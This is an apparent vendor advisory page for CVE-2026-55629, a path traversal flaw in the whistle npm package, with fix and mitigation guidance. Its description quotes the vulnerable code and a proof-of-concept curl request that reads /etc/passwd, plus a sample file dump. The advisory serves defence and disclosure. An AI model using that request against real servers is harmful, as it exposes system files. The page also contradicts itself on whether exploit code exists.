How severe is CVE-2026-55629?

No CVSS score has been assigned to CVE-2026-55629 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-55629?

CVE-2026-55629 affects the following packages: whistle (npm). Ecosystems affected: npm.

How do I fix CVE-2026-55629?

Update whistle to 2.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55629 is resolved across your whole dependency graph.

How do I detect CVE-2026-55629 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for whistle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-55629 if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is CVE-2026-55629 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-55629 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-55629?

CVE-2026-55629 has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 51th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-55629?

CVE-2026-55629 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-55629 published, and has it been updated?

CVE-2026-55629 was published on July 16, 2026 and was last updated on October 21, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

CVE-2026-55629 — whistle

Fix: avwo/whistle@777bcf6

CVE-2026-55629 is a Path Traversal vulnerability in whistle. A fix is available for whistle — see the affected versions and patch details below.

Whistle: Path traversal

Also known asGHSA-3vfr-4gwf-qxfp

Published

Jul 16, 2026

Updated

Oct 21, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55629.

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

31other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

whistlenpm

7Kdownloads / week

Description

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.

Vulnerability detail:

In service.js, inside app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);

Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.

If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.

In other words: if you pass passwd, it will read passwd.

POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"

response:

xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`whistle`	all versions	2.10.3`npm install whistle@2.10.3`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for whistle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update whistle to 2.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55629 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University. **Vulnerability detail**: In service.js, inside `app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);` Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH. If it does not match that pattern, the code does not block the request. Instead,

O3 Security · Impact-Aware SCA

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